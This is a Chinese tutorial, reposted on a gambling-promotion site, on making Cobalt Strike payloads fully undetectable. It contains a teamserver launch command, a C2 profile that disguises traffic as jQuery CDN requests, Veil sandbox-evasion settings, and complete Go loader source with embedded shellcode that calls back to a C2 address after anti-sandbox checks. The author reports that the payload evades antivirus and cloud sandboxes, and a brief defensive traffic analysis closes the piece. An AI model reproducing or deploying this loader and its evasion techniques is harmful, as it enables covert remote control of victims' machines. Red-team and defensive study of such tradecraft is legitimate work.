渗入利器Cobalt Strike – 第2篇 APT级的周全免杀与企业纵深防备系统的匹敌 | 申博官网
登录
  • 欢迎进入申博官网!
  • 如果您觉得申博官网对你有帮助,那么赶紧使用Ctrl+D 收藏申博官网并分享出去吧
  • 这里是申博官方网!
  • 申博官网是菲律宾sunbet官网品牌平台!
  • 申博开户专业品牌平台!

渗入利器Cobalt Strike – 第2篇 APT级的周全免杀与企业纵深防备系统的匹敌

申博_新闻事件 申博 1334次浏览 已收录 0个评论

简介

接上篇 渗入利器Cobalt Strike – 第1篇 功用及运用 – 先知社区

本文重要解说,模仿APT手段对Cobalt Strike天生的顺序举行周全免杀,完成了 完全不被检测 FUD(Fully undetectable)。

终究stager在以下方面完成了胜利隐匿:

  • 文件查杀
  • 内存扫描
  • 流量剖析
  • 行动剖析

这是对victim举行稳固掌握的基本。

免杀的多个维度

免杀就是回避查杀的意义。一般须要多个维度举行免杀,概览免杀手艺以下:

  • 匹敌-终端平安-反病毒软件
    • 回避道理:自立开辟的新样本顺序,从未被捕捉、剖析 一般不会被杀(只管确保样本仅对单一目标进击,可以或许完成源码级的修正完成”变种”,制止杀软报毒)
    • 局限:完全改写源码难度大
  • 匹敌-流量剖析
    • DNS – dga域名天生算法
      • 回避道理:运用dga可以或许回避已有的IoC(歹意域名黑名单) 制止流量告警
      • 局限:dga 可以或许被机械进修辨认
    • HTTP – 白域名
      • 回避道理:运用着名的域名作为C2 数据加密传输 流量角度上很隐藏 制止流量告警
        • 国内 可被公然接见的页面 weibo users.qzone.qq.com:80/fcg-bin/cgi_get_portrait.fcg?uins=5500676xxx
        • 外洋 可被公然接见的页面 google、twitter、pastbin、telegram ...
    • 其他网络协定
  • 匹敌-逆向剖析
    • 回避道理:经由历程加壳等体式格局延伸被逆向剖析职员完全剖析的时刻
    • 局限:没有相对的反逆向珍爱,只能增添逆向剖析难度
  • 匹敌-行动剖析
    • 回避道理:在指定前提下才会运转歹意行动,从而制止该顺序在VM、沙箱、逆向职员的眼皮底下举行歹意操纵。
    • 局限:可以或许会减少它的目标局限,如只能在某个指定域中盘算机才能运转该顺序。

匹敌-流量剖析

这里运用Cobalt Strike的C2设置装备摆设文件,来将C2流量假装成一般流量。以只管制止被NIDS报警、SOC系统平安运营职员等发明流量异常。

Cobalt Strike的C2设置装备摆设文件,界说了 victim 与 团队服务器 之间的C2通讯流量的“通讯花样范例和体式格局”,一般平安职员就是从C2通讯流量中寻觅“流量特性”的。

我这里斟酌运用jQuery作为C2设置装备摆设文件,也就是victim和团队服务器之间的C2流量是假装成了“某用户系统的浏览器与某web服务器之间一般交互的WEB流量”,细致就是,一般很罕见的“从浏览器猎取jQuery这一JavaScript文件”有关的web流量。

为此,我写了个C2设置装备摆设文件malleable_C2_jQuery_c2.3.11_CN_cdn.bootcss.com.txt

经由历程检察文件可以或许发明,我把假装成某终端浏览器与国内这个jQuery的CDN站点cdn.bootcss.com的web流量(http协定),更细致的见设置装备摆设文件。

团队服务器

本次测试中,团队服务器ip为10.211.55.5
在这里指定 定制的C2设置装备摆设文件

启动团队服务器 敕令以下:
sudo ./teamserver 10.211.55.5 U9assw0rd '/home/yourname/Desktop/malleable_C2_jQuery_c2.3.11_CN_cdn.bootcss.com.txt'

多种上线体式格局引见

从团队服务器可以或许看到,本次测试运用了ip上线。

一些可选的其他上线体式格局,及其好坏 参考以下:

  • ip上线
    • 瑕玷:若是被剖析到ip地点,很轻易提取到IoC,从而被检测,C2通讯被阻断
  • 域名上线(运用一个域名做C2)
    • 长处:运用C2域名的DNS A纪录,域名解析到本身的C2服务器的ip,ip可随时变动。
    • 瑕玷:若是被剖析到域名,很轻易提取到IoC,从而被检测,C2通讯被阻断。
  • DGA域名上线 (运用若干个域名 很大水平上包管C2通讯)
    • 长处:若是可以或许自写远控(如许的自界说水平最高),运用dga上线,可以或许制止“C2域名被拉黑”致使的没法通讯。
    • 瑕玷:DGA域名也可以或许被机械进修模子检测到。

可以或许发明分歧上线体式格局具有分歧的C2通讯的稳固性,本次只做演示,就运用最简朴的ip上线体式格局。

天生payload

翻开Cobalt Strike客户端,举行通例操纵:

  • 建立一个http监听器
  • 天生payload

Attacks -> Packages -> Payload Generator
渗入利器Cobalt Strike - 第2篇 APT级的周全免杀与企业纵深防备系统的匹敌

天生了一段payload \xfc\xe8\x89...
(若是在某个不装置杀软的系统中,只需有stager实行了本段payload,则可完成对这个系统的掌握。)

为了制止stager被企业的终端平安软件查杀,接下来,要对这段payload举行文件免杀。

匹敌-终端平安

注重:存眷文件免杀的道理、要领,而不是对象运用,对象只是辅佐完成我们的免杀目标。
本次细致运用Veil举行文件免杀。

Veil搭建与概览

Veil 在Docker运用便可:
拉取镜像
docker pull mattiasohlsson/veil
启动容器
docker run -it -v /tmp/veil-output:/var/lib/veil/output:Z mattiasohlsson/veil
个中/tmp/veil-output为我物理机Mac系统的途径,Docker中的Veil将天生的17yes.exe等文件(见下文),存储在这个目次中。

Veil自动启动,重要分为两个功用:

[*] Available Tools:
    1)  Evasion
    2)  Ordnance

#1 Evasion功用 用来做文件免杀(就选这个)

#2 Ordnance功用 用来疾速天生MSF stager shellcode的对象(相似msfvenom)。
    可以或许天生6种payload:
    1)  bind_tcp          => Bind TCP Stager (Stage 1)
    2)  rev_http          => Reverse HTTP Stager (Stage 1)
    3)  rev_https         => Reverse HTTPS Stager (Stage 1)
    4)  rev_tcp           => Reverse TCP Stager (Stage 1)
    5)  rev_tcp_all_ports => Reverse TCP All Ports Stager (Stage 1)
    6)  rev_tcp_dns       => Reverse TCP DNS Stager (Stage 1)

我们如今须要文件免杀,以是选1。
use 1

在此暂停下,先引见“道理 – Veil的文件免杀道理”,然后再看实操“实操 – 文件免杀”。

道理 – Veil的文件免杀道理

Veil运用以下要领完成文件免杀:

  • 将payload以加密情势生存
    • aes
    • des
  • 推断运转情况是不是是目标的运转情况(反沙箱 反虚拟机)
    • 历程数目
    • cpu核数
    • 以后盘算机到场的域的称号
    • 以后盘算机的盘算机名
    • 以后系统的用户名
    • 以后running的历程数
  • 殽杂
    • 对源代码中的变量名举行殽杂(见对17yes.go源代码的解说局部)
  • 内存要求体式格局
    • stager以RW权限要求内存 -> 将shellcode写入这局部内存 -> 将内存权限从RW变动为RX -> 挪用CreateThread和WaitForSingleObject

内存要求体式格局

传统内存要求体式格局:stager顺序运用RWX(读,写和实行)权限要求内存,将shellcode写入这局部内存,建立一个线程来实行shellcode,守候shellcode完成运转(即退出Meterpreter或Beacon)便可退出stager顺序。

“传统内存要求体式格局”可以或许被反病毒引擎、沙箱引擎视为歹意的。

实在为了内存免杀效果,Veil 从3.1版本最先,shellcode_inject险些不会运用“传统内存要求体式格局”要求内存空间。而是运用“渐进的内存要求体式格局”。

渐进的内存要求体式格局:stager顺序以RW(读,写)权限要求内存内存,此时stager顺序可以或许将shellcode写入这局部内存。stager将挪用[VirtualProtect]函数(https://docs.microsoft.com/zh-cn/windows/desktop/api/memoryapi/nf-memoryapi-virtualprotect)将内存权限从RW变动为RX(读,实行),然后stager将继承一般挪用CreateThread和WaitForSingleObject。

细致剖析见下文,以本次天生的17yes.go为例解说“渐进的内存要求体式格局”。

实操 – 文件免杀

翻开Veil use 1以后,运用list 看到到41种stager:

[*] Available Payloads:

    1)  autoit/shellcode_inject/flat.py

    2)  auxiliary/coldwar_wrapper.py
    3)  auxiliary/macro_converter.py
    4)  auxiliary/pyinstaller_wrapper.py

    5)  c/meterpreter/rev_http.py
    6)  c/meterpreter/rev_http_service.py
    7)  c/meterpreter/rev_tcp.py
    8)  c/meterpreter/rev_tcp_service.py

    9)  cs/meterpreter/rev_http.py
    10) cs/meterpreter/rev_https.py
    11) cs/meterpreter/rev_tcp.py
    12) cs/shellcode_inject/base64.py
    13) cs/shellcode_inject/virtual.py

    14) go/meterpreter/rev_http.py
    15) go/meterpreter/rev_https.py
    16) go/meterpreter/rev_tcp.py
    17) go/shellcode_inject/virtual.py

    18) lua/shellcode_inject/flat.py

    19) perl/shellcode_inject/flat.py

    20) powershell/meterpreter/rev_http.py
    21) powershell/meterpreter/rev_https.py
    22) powershell/meterpreter/rev_tcp.py
    23) powershell/shellcode_inject/psexec_virtual.py
    24) powershell/shellcode_inject/virtual.py

    25) python/meterpreter/bind_tcp.py
    26) python/meterpreter/rev_http.py
    27) python/meterpreter/rev_https.py
    28) python/meterpreter/rev_tcp.py
    29) python/shellcode_inject/aes_encrypt.py
    30) python/shellcode_inject/arc_encrypt.py
    31) python/shellcode_inject/base64_substitution.py
    32) python/shellcode_inject/des_encrypt.py
    33) python/shellcode_inject/flat.py
    34) python/shellcode_inject/letter_substitution.py
    35) python/shellcode_inject/pidinject.py
    36) python/shellcode_inject/stallion.py

    37) ruby/meterpreter/rev_http.py
    38) ruby/meterpreter/rev_https.py
    39) ruby/meterpreter/rev_tcp.py
    40) ruby/shellcode_inject/base64.py
    41) ruby/shellcode_inject/flat.py

关于CS天生的payload (\x00…),需运用shellcode_inject范例的stager举行免杀。

本次以第17个stager go/shellcode_inject/virtual.py 为例,天生一个包罗并实行CSpayload的go言语代码,和该代码编译成的可实行文件17yes.exe(见下文):

use 17

接下来看到以下设置,意义是该stager实行时实行哪些搜检与须要的设置装备摆设(可以或许包管只要在知足指定前提时才会注入并实行嵌入的shellcode从而制止被沙箱等引擎行动剖析)

Name                Value       Description
----                -----       -----------
BADMACS             FALSE       Check for VM based MAC addresses
CLICKTRACK          X           Require X number of clicks before execution
COMPILE_TO_EXE      Y           Compile to an executable
CURSORCHECK         FALSE       Check for mouse movements
DISKSIZE            X           Check for a minimum number of gigs for hard disk
HOSTNAME            X           Optional: Required system hostname
INJECT_METHOD       Virtual     Virtual or Heap
MINPROCS            X           Minimum number of running processes
PROCCHECK           FALSE       Check for active VM processes
PROCESSORS          X           Optional: Minimum number of processors
RAMCHECK            FALSE       Check for at least 3 gigs of RAM
SLEEP               X           Optional: Sleep "Y" seconds, check if accelerated
USERNAME            X           Optional: The required user account
USERPROMPT          FALSE       Prompt user prior to injection
UTCCHECK            FALSE       Check if system uses UTC time

细致诠释下:

BADMACS 设置为Y透露表现 检察运转情况的MAC地点若是不是虚拟机才会实行payload (反调试)
CLICKTRACK 设置为4透露表现 透露表现须要4次点击才会实行
CURSORCHECK 设置为100透露表现 运转情况的硬盘巨细若是大于100GB才会实行payload (反沙箱)
COMPILE_TO_EXE 设置为Y透露表现 编译为exe文件
HOSTNAME 设置为Comp1透露表现 只要在Hostname盘算机名为Comp1时才会实行payload(指定目标情况 反沙箱的体式格局)
INJECT_METHOD 可设置为Virtual 或 Heap
MINPROCS 设置为20透露表现 只要运转情况的运转历程数大于20时才会实行payload(指定目标情况 反沙箱的体式格局)
PROCCHECK 设置为Y透露表现 只要运转情况的历程中没有虚拟机历程时才会实行payload(指定目标情况 反沙箱的体式格局)
PROCESSORS 设置为2透露表现 只在最少2核的机械中才会实行payload(指定目标情况 反沙箱的体式格局)
RAMCHECK 设置为Y透露表现 只在运转情况的内存为3G以上时才会实行payload(指定目标情况 反沙箱的体式格局)
SLEEP 设置为10透露表现 休眠10秒 以检测是不是运转历程当中被加快(反沙箱)
USERNAME 设置为Tom透露表现 只要在以后用户名为Tom的机械中才实行payload。
USERPROMPT 设置为Y透露表现 在injection之前提醒用户(提醒一个毛病框,让用户误以为该顺序实行毛病才没法翻开)
DEBUGGER 设置为Y透露表现 当被调试器不被attached时才会实行payload (反调试)
DOMAIN 设置为Comp透露表现 受害者盘算机只要到场Comp域中时,才会实行payload(指定目标情况 反沙箱的体式格局)
UTCCHECK 设置为Y透露表现 只在运转情况的系统运用UTC时刻时,才会实行payload

在这里我挑选如许设置:
[go/shellcode_inject/virtual>>]: set USERNAME lll
[go/shellcode_inject/virtual>>]: set Sleep 10
[go/shellcode_inject/virtual>>]: set HOSTNAME win7
[go/shellcode_inject/virtual>>]: set UTCcheck TRUE

实验天生:
generate

在此选3 并输入适才天生的CS的payload字符串。

渗入利器Cobalt Strike - 第2篇 APT级的周全免杀与企业纵深防备系统的匹敌

然后Veil提醒
[>] Please enter the base name for output files (default is payload):
请输入天生文件的称号,我输入了17yes

末了 天生了2个文件:

[*] Language: go
 [*] Payload Module: go/shellcode_inject/virtual
 [*] Executable written to: /var/lib/veil/output/compiled/17_yes.exe
 [*] Source code written to: /var/lib/veil/output/source/17_yes.go

个中17yes.exe就是举行文件免杀后天生的顺序。

对17yes.exe举行文件扫描,查杀效果以下:
渗入利器Cobalt Strike - 第2篇 APT级的周全免杀与企业纵深防备系统的匹敌

文件免杀胜利。

运转时是不是会被查杀?还要看内存方面:

  • stager的“渐进的内存要求体式格局”注入并实行CS的shellcode
  • CS的shellcode本身具有优越的内存免杀的才能

得益于以上两点,实测没有任何提醒便可上线,功用一切一般。

实测 远控功用

远程桌面:
渗入利器Cobalt Strike - 第2篇 APT级的周全免杀与企业纵深防备系统的匹敌

敕令交互:
可看到个中ZhuDongFangYu.exe和HipsDaemon.exe为杀软历程
渗入利器Cobalt Strike - 第2篇 APT级的周全免杀与企业纵深防备系统的匹敌

远控功用一般,不受影响。

道理 – Go代码实例解说“渐进的内存要求体式格局”

参考文档:
VirtualAlloc函数细致诠释 VirtualAlloc function | Microsoft Docs
内存珍爱的常量值及诠释 Memory Protection Constants – Windows applications | Microsoft Docs

以下为17yes.go的源代码,个中我用//写了相存眷释。

概览一下代码:
常量名、变量名都被殽杂。
第31行,可以或许显着看到CS完全的payload \xfc\xe8\x89...

细致看下代码:

2-12行,开首引入了须要的库文件。

13-16行,界说了3个常量:(更细致的见“VirtualAlloc函数细致诠释”)
rANPMk = 0x1000 // MEM_COMMIT 为指定的保存内存分页(memory pages)分派内存空间(依据内存的整体巨细和磁盘上的分页文件)。
sUZcPvprXOJt = 0x2000 //MEM_RESERVE 保存历程的一局部虚拟地点空间,而无需在内存或磁盘上的分页文件(paging file)中分派任何现实的物理存储。
rFchBCmu = 0x04 // PAGE_READWRITE 对已提交的(committed)分页地区启用 Read-only只读 或 RW读写 接见权限。

————————————-

申博网络安全巴士站

申博-网络安全巴士站是一个专注于网络安全、系统安全、互联网安全、信息安全,全新视界的互联网安全新媒体。

————————————-

24行,界说了一个函数laiTJbWfGgsLhF(只是界说还未被挪用),将以上3个常量值作为实参,传入kernel32.dllVirtualAlloc函数中。以完成以RW权限要求内存。

33行,经由历程user.Current()猎取到以后用户,赋值给变量dNnhwvvKJzppv

36行,推断以后用户的称号是不是是lll,若是是则继承实行,若是不是则退出顺序。

40行,推断以后的盘算机名是不是是win7,若是是则继承实行,若是不是则退出顺序。

42-50行,先向us.pool.ntp.org:123发送UDP要求猎取以后时刻,延时10秒后,再次发送UDP要求猎取时刻,若是两次时刻小于10秒,则退出顺序(顺序可以或许在虚拟机中加快实行),不然继承实行。

52行,挪用laiTJbWfGgsLhF函数,以RW权限要求内存。

57-62行,将shellcode写入这局部内存。

64行,挪用VirtualProtect函数,将这局部(RW权限要求的)内存改成RX权限 //0x20 PAGE_EXECUTE_READ

68行,挪用分派的页面地区的基址(第25行中VirtualProtect函数的返回值,赋值给了变量CtRsyrQfyp),实行这段shellcode。

完毕。

17yes.go中的代码以下:

package main
import (
"syscall"
"unsafe"
"fmt"
"os"
"strings"
"os/user"
"net"
"time"
"encoding/binary"
)
const (
rANPMk  = 0x1000 // MEM_COMMIT
sUZcPvprXOJt = 0x2000 //MEM_RESERVE
rFchBCmu  = 0x04 // PAGE_READWRITE
)
var (
oSxMXhR = 0
osAvWlb = syscall.NewLazyDLL("kernel32.dll")
MXJoioL = osAvWlb.NewProc("VirtualAlloc")
eDMslOPiZZj = osAvWlb.NewProc("VirtualProtect")
)
func laiTJbWfGgsLhF(MYkcuzzzRXhOgZ uintptr) (uintptr, error) {
CtRsyrQfyp, _, ndNDpWTRkKOjw := MXJoioL.Call(0, MYkcuzzzRXhOgZ, sUZcPvprXOJt|rANPMk, rFchBCmu)
if CtRsyrQfyp == 0 {
return 0, ndNDpWTRkKOjw
}
return CtRsyrQfyp, nil
}
var KynNDPgjUmE string = "\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c\x77\x26\x07\xff\xd5\x31\xff\x57\x57\x57\x57\x57\x68\x3a\x56\x79\xa7\xff\xd5\xe9\x84\x00\x00\x00\x5b\x31\xc9\x51\x51\x6a\x03\x51\x51\x68\x0f\x27\x00\x00\x53\x50\x68\x57\x89\x9f\xc6\xff\xd5\xeb\x70\x5b\x31\xd2\x52\x68\x00\x02\x60\x84\x52\x52\x52\x53\x52\x50\x68\xeb\x55\x2e\x3b\xff\xd5\x89\xc6\x83\xc3\x50\x31\xff\x57\x57\x6a\xff\x53\x56\x68\x2d\x06\x18\x7b\xff\xd5\x85\xc0\x0f\x84\xc3\x01\x00\x00\x31\xff\x85\xf6\x74\x04\x89\xf9\xeb\x09\x68\xaa\xc5\xe2\x5d\xff\xd5\x89\xc1\x68\x45\x21\x5e\x31\xff\xd5\x31\xff\x57\x6a\x07\x51\x56\x50\x68\xb7\x57\xe0\x0b\xff\xd5\xbf\x00\x2f\x00\x00\x39\xc7\x74\xb7\x31\xff\xe9\x91\x01\x00\x00\xe9\xc9\x01\x00\x00\xe8\x8b\xff\xff\xff\x2f\x6a\x71\x75\x65\x72\x79\x2d\x33\x2e\x33\x2e\x31\x2e\x73\x6c\x69\x6d\x2e\x6d\x69\x6e\x2e\x6a\x73\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x41\x63\x63\x65\x70\x74\x3a\x20\x74\x65\x78\x74\x2f\x68\x74\x6d\x6c\x2c\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x78\x68\x74\x6d\x6c\x2b\x78\x6d\x6c\x2c\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x78\x6d\x6c\x3b\x71\x3d\x30\x2e\x39\x2c\x2a\x2f\x2a\x3b\x71\x3d\x30\x2e\x38\x0d\x0a\x41\x63\x63\x65\x70\x74\x2d\x4c\x61\x6e\x67\x75\x61\x67\x65\x3a\x20\x65\x6e\x2d\x55\x53\x2c\x65\x6e\x3b\x71\x3d\x30\x2e\x35\x0d\x0a\x48\x6f\x73\x74\x3a\x20\x63\x64\x6e\x2e\x62\x6f\x6f\x74\x63\x73\x73\x2e\x63\x6f\x6d\x0d\x0a\x52\x65\x66\x65\x72\x65\x72\x3a\x20\x68\x74\x74\x70\x3a\x2f\x2f\x63\x64\x6e\x2e\x62\x6f\x6f\x74\x63\x73\x73\x2e\x63\x6f\x6d\x2f\x0d\x0a\x41\x63\x63\x65\x70\x74\x2d\x45\x6e\x63\x6f\x64\x69\x6e\x67\x3a\x20\x67\x7a\x69\x70\x2c\x20\x64\x65\x66\x6c\x61\x74\x65\x0d\x0a\x55\x73\x65\x72\x2d\x41\x67\x65\x6e\x74\x3a\x20\x4d\x6f\x7a\x69\x6c\x6c\x61\x2f\x35\x2e\x30\x20\x28\x57\x69\x6e\x64\x6f\x77\x73\x20\x4e\x54\x20\x36\x2e\x33\x3b\x20\x54\x72\x69\x64\x65\x6e\x74\x2f\x37\x2e\x30\x3b\x20\x72\x76\x3a\x31\x31\x2e\x30\x29\x20\x6c\x69\x6b\x65\x20\x47\x65\x63\x6b\x6f\x0d\x0a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x40\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x57\x68\x58\xa4\x53\xe5\xff\xd5\x93\xb9\xaf\x0f\x00\x00\x01\xd9\x51\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xc6\x8b\x07\x01\xc3\x85\xc0\x75\xe5\x58\xc3\xe8\xa9\xfd\xff\xff\x31\x30\x2e\x32\x31\x31\x2e\x35\x35\x2e\x35\x00\x00\x00\x00\x00"
func main() {
dNnhwvvKJzppv, NIRbEkBGeBL := user.Current()
if NIRbEkBGeBL != nil {
os.Exit(1)}
if strings.Contains(strings.ToLower(dNnhwvvKJzppv.Username), strings.ToLower("lll")) {
jhYkqxWdxLYMRzS, tjbTZPVgxDczfz := os.Hostname()
if tjbTZPVgxDczfz != nil {
os.Exit(1)}
if strings.Contains(strings.ToLower(jhYkqxWdxLYMRzS), strings.ToLower("win7")) {
type ntp_struct struct {FirstByte,A,B,C uint8;D,E,F uint32;G,H uint64;ReceiveTime uint64;J uint64}
sock,_ := net.Dial("udp", "us.pool.ntp.org:123");sock.SetDeadline(time.Now().Add((6*time.Second)));defer sock.Close()
ntp_transmit := new(ntp_struct);ntp_transmit.FirstByte=0x1b
binary.Write(sock, binary.BigEndian, ntp_transmit);binary.Read(sock, binary.BigEndian, ntp_transmit)
val := time.Date(1900, 1, 1, 0, 0, 0, 0, time.UTC).Add(time.Duration(((ntp_transmit.ReceiveTime >> 32)*1000000000)))
time.Sleep(time.Duration(10*1000) * time.Millisecond)
newsock,_ := net.Dial("udp", "us.pool.ntp.org:123");newsock.SetDeadline(time.Now().Add((6*time.Second)));defer newsock.Close()
second_transmit := new(ntp_struct);second_transmit.FirstByte=0x1b
binary.Write(newsock, binary.BigEndian, second_transmit);binary.Read(newsock, binary.BigEndian, second_transmit)
if int(time.Date(1900, 1, 1, 0, 0, 0, 0, time.UTC).Add(time.Duration(((second_transmit.ReceiveTime >> 32)*1000000000))).Sub(val).Seconds()) >= 10 {_, vMrDrdraJQbRxiR := time.Now().Zone()
if vMrDrdraJQbRxiR != 0 {
CtRsyrQfyp, ndNDpWTRkKOjw := laiTJbWfGgsLhF(uintptr(len(KynNDPgjUmE)))
if ndNDpWTRkKOjw != nil {
fmt.Println(ndNDpWTRkKOjw)
os.Exit(1)
}
kRNlwGx := (*[890000]byte)(unsafe.Pointer(CtRsyrQfyp))
var oSxMXhR uintptr
var qKMrlhYe uintptr
for dpKAFprpzXfHZ, nSaJOFBoKFYcvC := range []byte(KynNDPgjUmE) {
kRNlwGx[dpKAFprpzXfHZ] = nSaJOFBoKFYcvC
}
//0x20 PAGE_EXECUTE_READ
oSxMXhR, _, ndNDpWTRkKOjw = eDMslOPiZZj.Call(CtRsyrQfyp, uintptr(len(KynNDPgjUmE)), 0x20, uintptr(unsafe.Pointer(&qKMrlhYe)))
if oSxMXhR == 0 {
os.Exit(1)
}
syscall.Syscall(CtRsyrQfyp, 0, 0, 0, 0)
}
}}}}

至此,已清晰本stager顺序的逻辑,若是读者有go言语开辟才能,可继承新增、改写相干逻辑,完胜利能的高度的自界说,到达“源码级”免杀才能。

改完以后可将本身改写的Golang代码的编译为二进制文件,编译历程异常简朴不再赘述。

匹敌-行动剖析

在举行文件免杀处置惩罚的时刻,实在已指定了目标机的情况(用户名为lll,盘算机名为 win7,等运转前提),若是不符合这些前提,stager将不会实行任何歹意行动,而是直接退出。

匹敌效果很好,参考以下两个云沙箱的检测效果。

app.any.run云沙箱

https://app.any.run/tasks/85309f79-0054-4ab9-9ff3-7f9acb1eea18

可以或许看到在云沙箱中,stager顺序没有举行任何歹意行动,并得到了“无歹意”的推断。
NO SUSPICIOUS EVENTS:没有任何可疑事宜。
底下可以或许看到,也没有任何http、dns等网络流量。
也没有被联系关系到任何要挟。

渗入利器Cobalt Strike - 第2篇 APT级的周全免杀与企业纵深防备系统的匹敌

ti云沙箱

https://sandbox.ti.360.net/sandbox/page/detail?type=file&sha1=a3bedcf16cd9350b043b4cab755ad28492f7a4f8&id=AWkaDMWZxOygT_R0bYVa&env=&time=

可以或许看到在云沙箱中,stager顺序没有举行任何歹意行动。歹意评分仅为9。

要挟剖断:未发明歹意行动。
动态检测:未发明歹意行动。
静态检测:未发明歹意行动。

渗入利器Cobalt Strike - 第2篇 APT级的周全免杀与企业纵深防备系统的匹敌

匹敌-逆向剖析

本次测试免杀效果已充足,以是未做加壳等处置惩罚。
别的,增强壳也可以或许被以为对照可疑的,有的杀软发明强壳就报毒。

免杀总结

至此完成了完全免杀。我觉得可以或许是由于做到了以下几点:

  • 回避文件查杀:包罗payload并编译 无显着的歹意特性
  • 回避内存查杀:stager的“渐进的内存要求体式格局”注入CS的shellcode + CS的shellcode本身的内存免杀才能
  • 回避流量剖析:流量上模仿jQuery 难以发明歹意流量特性
  • 回避行动剖析:指定运转前提 胜利制止行动剖析

实在还可以或许斟酌其他免杀要领,如 给可实行文件做署名(无效的署名也可以或许有助于免杀)等诸多要领,看知识面、思绪和才能了。

免杀时效性

虽然如今是免杀状况,但我已上传过样本了(就算我不上传可以或许一段时刻后也可以或许作为可疑文件“被上传”),以是平安职员拿到该文件样本、剖析后确以为歹意顺序,并把其hash作为IoC,便可依据文件hash便可查杀、检测、防备该stager顺序,免杀失效。

幸亏有该stager顺序的源代码,可以或许完成“源码级免杀”,对相干逻辑和可以或许的特性举行修正后,发生一个“变种”,此时可以或许又完成了一段时刻的文件免杀。
这就是赓续的匹敌历程了。

实行体式格局

本次测试,天生的是以启动可实行文件(.exe)的情势启动,实在还可以或许有其他实行体式格局:

  • 可实行文件
    • exe 实行shellcode
    • dll “白”应用 -用白名单顺序white.exe加载dll实行shellcode
    • 其他花样(hta sct…)
  • 无文件体式格局
    • powershell
    • cmd
    • RegSvr.exe
    • Mshta.exe
    • WINWORD.EXE
    • Rundll32.exe
    • word宏 连系社工技能启动宏功用

本次要挟的IoC

整体上来讲,歹意特性不显着。
由于此次只是模仿进击,以是从进击者角度自我剖析一波,看看本身的“破绽”。

流量IoC

由于此次只是模仿进击,以是可直接从CS主控端的Reporting按钮导出文件indicatorsofcompromise.docx(见附件),个中说清楚明了本次模仿进击中的IoC(入侵目标)和该要挟的歹意流量特性,一般可以或许据此写出该要挟的检测划定规矩,以便于NIDS(Network Intrusion Detection System)可以或许从流量上检测要挟。

现实上,只看到以下信息。

Domains and IP Addresses
The following domains and IP addresses were attributed to this actor.
10.211.55.5

可见流量上的IoC很单一,只要C2的ip地点 10.211.55.5

至于 HTTP流量(见附件) 和 提取的关键字(”jQuery”),我以为没法界说歹意流量特性。

个人以为从流量上难以检测。

文件IoC

天生的文件17yes.exe固然具有其对应hash,但若是是针对某企业举行的进击,该顺序从未被捕捉、剖析,则该hash在渗入前到渗入中、渗入完毕,可以或许未被剖析发明它是歹意文件。

个人以为短时刻内难以马上检测。

实测-流量剖析

从防备者角度剖析一下。
在victim中运用Wireshark全程抓包(从翻开文件前到通例远控操纵),发明C2流量均为模仿jQuery的http协定的流量,极具隐藏性。

运用过滤语法
ip.addr == 10.211.55.5 and http
可以或许看到C2流量是web流量(运用HTTP协定),分为get和post(可以或许从C2设置装备摆设文件看到界说)

渗入利器Cobalt Strike - 第2篇 APT级的周全免杀与企业纵深防备系统的匹敌

细致看下。(可见附件 2个文件 get.txt post.txt)

get流量

get要求:
(要求中没有任何歹意流量特性)

GET /jquery-3.3.1.slim.min.js HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Host: cdn.bootcss.com
Referer: http://cdn.bootcss.com/
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko
Connection: Keep-Alive
Cache-Control: no-cache

对应相应为:

HTTP/1.1 200 OK 
Content-Type: application/javascript; charset=utf-8
Date: Fri, 22 Feb 2019 07:44:21 GMT
Content-Length: 216490
Server: NetDNA-cache/2.2
Cache-Control: max-age=0, no-cache
Pragma: no-cache
Connection: keep-alive

/*! jQuery v3.3.1 | (c) JS Foundation and other contributors | jquery.org/license */!function(e,t)
(加密的C2掌握信息)
return e.$===w&&(e.$=Kt),t&&e.jQuery===w&&(e.jQuery=Jt),w},t||(e.jQuery=e.$=w),w});

该get要求的相应中有 歹意流量特性(”加密的C2掌握信息”),截图是如许的:

渗入利器Cobalt Strike - 第2篇 APT级的周全免杀与企业纵深防备系统的匹敌

post流量

个中post流量为victim向主控端发送数据的流量。
ip.addr == 10.211.55.5 and http contains POST

我将个中一次post要求与相应,生存到了附件,以供参考。
渗入利器Cobalt Strike - 第2篇 APT级的周全免杀与企业纵深防备系统的匹敌

Post要求:

POST /jquery-3.3.2.min.js?__cfduid=CxuRMTktogA6 HTTP/1.1
Host: cdn.bootcss.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
